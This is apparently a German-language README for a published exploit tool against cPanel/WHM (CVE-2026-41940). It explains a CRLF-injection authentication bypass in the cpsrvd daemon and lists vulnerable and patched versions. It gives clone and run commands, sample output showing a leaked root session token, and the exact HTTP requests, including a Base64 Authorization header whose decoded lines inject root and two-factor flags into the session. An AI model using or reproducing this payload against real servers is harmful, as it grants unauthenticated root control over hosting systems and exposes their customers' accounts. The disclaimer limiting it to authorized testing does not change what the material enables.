
Kritischer Exploit zur Umgehung der Authentifizierung für cPanel/WHM CVE-2026-41940. Nutzt CRLF-Injection im cpsrvd-Daemon, um ohne Anmeldedaten Root-WHM-Zugriff zu erlangen. Enthält Versionserkennung, ausführliche Protokollierung, Proxy-Unterstützung, JSON-Reporting und Post-Exploitation-Kontenumeration. Nur für autorisierte Sicherheitstests.
Kritischer Authentifizierungs-Bypass durch CRLF-Injection im cPanel/WHM-cpsrvd-Daemon
Bei CVE-2026-41940 handelt es sich um eine kritische Authentifizierungs-Bypass-Schwachstelle in cPanel & WHM, die nicht authentifizierten Remote-Angreifern administrativen Zugriff mit Root-Rechten auf den Server ermöglicht. Die Schwachstelle liegt in der Session-Verwaltung des
cpsrvd-Daemons, genauer gesagt inCpanel/Session.pm, wo eine unzureichende Neutralisierung von Zeilentrennzeichen (CRLF) imwhostmgrsession-Cookie und inAuthorization-Headern die Injection von Session-Parametern ermöglicht.
| CVSS-Score | Exploit-Typ | Auswirkung | Angriffsvektor |
|---|---|---|---|
| 9.8 | Authentifizierungs-Bypass | Root-Zugriff | Netzwerk |
Dieses Exploit-Tool bietet die folgenden Hauptfunktionen:
🔓 Authentifizierungs-Bypass – Root-WHM-Zugriff ohne Anmeldedaten erlangen
🛡️ Mehrere Bypass-Techniken – Verschiedene Verifizierungsmethoden werden automatisch ausprobiert
🌐 Proxy-Unterstützung – Verkehr über HTTP/HTTPS-Proxys leiten
📊 JSON-Berichte – Detaillierte Bewertungsberichte erstellen
📝 Umfassende Protokollierung – Ausführlicher Debug-Modus mit Zeitstempeln
🔍 Versionserkennung – Verwundbare Versionen automatisch erkennen und prüfen
👥 Konto-Enumeration – Alle cPanel-Konten nach dem Exploit auflisten
🎯 Mehrere Endpunkte – Verschiedene API-Endpunkte zur Verifizierung ausprobieren
| Attribut | Wert |
|---|---|
| CVE-ID | CVE-2026-41940 |
| CVSS-Score | 9.8 (Kritisch) |
| Schwachstellentyp | Authentifizierungs-Bypass durch CRLF-Injection |
| Betroffene Komponente | cpsrvd-Daemon (Cpanel/Session.pm) |
| Angriffsvektor | Netzwerk |
| Auswirkung | Voller Root-Zugriff |
| Ausnutzung | Nicht authentifiziert, Remote |
Die Schwachstelle beruht auf zwei Hauptproblemen:
CRLF-Injection im Session-Speicher – Die Funktion saveSession bereinigt Zeilenumbruchzeichen (\n) im Feld pass nicht, bevor der Wert in die Session-Datei geschrieben wird, wodurch die Injection beliebiger Session-Parameter ermöglicht wird.
Bedingter Encoding-Bypass – Wenn dem Session-Cookie der Teil ob (das Segment nach dem Komma) fehlt, wird der Wert von pass unkodiert (im Klartext) geschrieben, was die Injection von CRLF-Sequenzen ermöglicht.
| Release-Track | Verwundbar bis | Gepatchte Version |
|---|---|---|
| 11.110.x | 11.110.0.96 | 11.110.0.97 |
| 11.118.x | 11.118.0.62 | 11.118.0.63 |
| 11.126.x | 11.126.0.53 | 11.126.0.54 |
| 11.132.x | 11.132.0.28 | 11.132.0.29 |
| 11.134.x | 11.134.0.19 | 11.134.0.20 |
| 11.136.x | 11.136.0.4 | 11.136.0.5 |
# Python 3.6 or higher required
python3 --version
# Install required packages
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
git clone https://github.com/CerberusMrXi/cPanel-WHM-CVE-2026-41940-auth-bypass-exploit.git
cd cPanel-WHM-CVE-2026-41940-auth-bypass-exploit
python3 exploit.py --target https://target.com:2087
# Verbose mode with debug output
python3 exploit.py --target https://target.com:2087 --verbose
# Through proxy
python3 exploit.py --target https://target.com:2087 --proxy http://127.0.0.1:8080
# Save report and list accounts
python3 exploit.py --target https://target.com:2087 --output report.json --list-accounts
# Custom timeout
python3 exploit.py --target https://target.com:2087 --timeout 30
=======================================================
CVE-2026-41940 - cPanel/WHM Authentication Bypass
Critical CRLF Injection in cpsrvd (CVSS: 9.8 )
Exploit Version: 1.0
=======================================================
Target : https://target.com:2087
Started : 2026-07-26 22:23:18
=======================================================
2026-07-26 22:23:18 [INFO] Detecting cPanel/WHM version...
2026-07-26 22:23:19 [INFO] Version: 11.110.0.85 - Vulnerable
2026-07-26 22:23:19 [INFO] Attempting to mint pre-authentication session...
2026-07-26 22:23:20 [INFO] Pre-authentication session obtained successfully
2026-07-26 22:23:20 [INFO] Injecting CRLF payload via Authorization header...
2026-07-26 22:23:21 [INFO] Token leaked: /cpsess1234567890
2026-07-26 22:23:21 [INFO] Verifying root access with multiple bypass techniques...
2026-07-26 22:23:25 [INFO] Access verified with URL format: /cpsess-{token}
=======================================================
EXPLOIT SUCCESSFUL
=======================================================
Target : https://target.com:2087
Token : /cpsess1234567890
Admin URL : https://target.com:2087/cpsess1234567890/
Version : 11.110.0.85
Verification Method : url_format
Completed : 2026-07-26 22:23:25
=======================================================
[!] Access WHM with the token above
[!] Use the token in all subsequent requests
[!] Example: curl -k "https://target.com:2087/cpsess1234567890/json-api/version?api.version=1"
=======================================================
| Argument | Kurz | Erforderlich | Beschreibung |
|---|---|---|---|
--target | -t | ✅ | Ziel-URL (z. B. https://target.com:2087 ) |
--verbose | -v | ❌ | Ausführliche/Debug-Ausgabe aktivieren |
--proxy | -p | ❌ | Proxy-URL (z. B. http://127.0.0.1:8080 ) |
--output | -o | ❌ | Ausgabedatei für den JSON-Bericht |
--timeout | ❌ | Anfrage-Timeout in Sekunden (Standard: 10) | |
--list-accounts | -l | ❌ | cPanel-Konten nach erfolgreichem Exploit auflisten |
--version | ❌ | Exploit-Version anzeigen |
Der Exploit erhält zunächst ein Pre-Authentifizierungs-Session-Cookie, indem er einen fehlgeschlagenen Login versucht:
POST /login/?login_only=1 HTTP/1.1
Host: target.com:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=wrong_pass
Antwort:
Set-Cookie: whostmgrsession=base64_encoded_data
Der manipulierte Authorization-Header injiziert bösartige Session-Parameter:
GET / HTTP/1.1
Host: target.com:2087
Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession=[SESSION_BASE]
Dekodierte Payload:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1